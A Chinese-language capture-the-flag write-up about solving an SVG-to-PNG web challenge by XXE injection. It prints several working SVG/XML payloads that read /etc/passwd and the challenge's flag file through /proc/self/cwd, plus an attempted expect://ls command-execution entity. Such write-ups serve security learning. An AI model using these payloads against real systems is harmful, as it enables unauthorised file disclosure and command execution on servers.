进入题目可以看到叫我们利用魔法将SVG转为PNG,查资料了解一下SVG是个啥东西 XML的SVG知识总结_叨唠的博客-CSDN博客_svg xml
是一个图片,既然是XML里面的图片标签,那么则可以往XXE注入里面想想,但是SVG不知道怎么构造浅谈SVG的两个黑魔法 - 知乎
我们可以利用text标签来显现文字,将文字改为引用我们的恶意代码即可
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY www SYSTEM "file:///etc/passwd">
]>
<svg width="100" height="100">
<text x="20" y="20">&www;</text>
</svg>
后缀改为svg上传
发现我们的宽度似乎不够,没输出完,改个10000瞅瞅
注入成功,现在我们只需要改注入代码即可
-----已搬运-------Linux的/proc/self/学习 ++ CTF例题_Zero_Adam的博客-CSDN博客_proc/self
利用cwd命令来获取当前状态下的目录文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY www SYSTEM "file:///proc/self/cwd">
]>
<svg width="1000" height="100">
<text x="20" y="20">&www;</text>
</svg>
构造如下想查看当前目录下有哪些文件,我这里犯了一个错,file协议只能访问文件
起初不知道,一直读取读取然后一直报错报错…… 要获取目录下文件要用ls命令
于是我想着执行系统命令1-Web安全——XXE-XML外部实体注入_songly_的博客-CSDN博客_利用xml外部实体可以对内网端口进行扫描
利用php的expect模块来执行系统命令,改一下之前的模板
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY readfile "expect://ls">
]>
<svg width="1000" height="100">
<text x="20" y="20">&readfile;</text>
</svg>
结果
不知为啥渲染失败,想不通了,看了一下wp,清一色都是直接在cwd目录下直接读取flag.txt文件,我不知道怎么知道是这个文件的,或许是ctf题通常不会为难文件名,不是flag.php就是flag.txt吧,那我们还是用远程读取文件吧,或许以后明白为什么这里渲染失败了
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY www SYSTEM "file:///proc/self/cwd/flag.txt">
]>
<svg width="1000" height="100">
<text x="20" y="20">&www;</text>
</svg>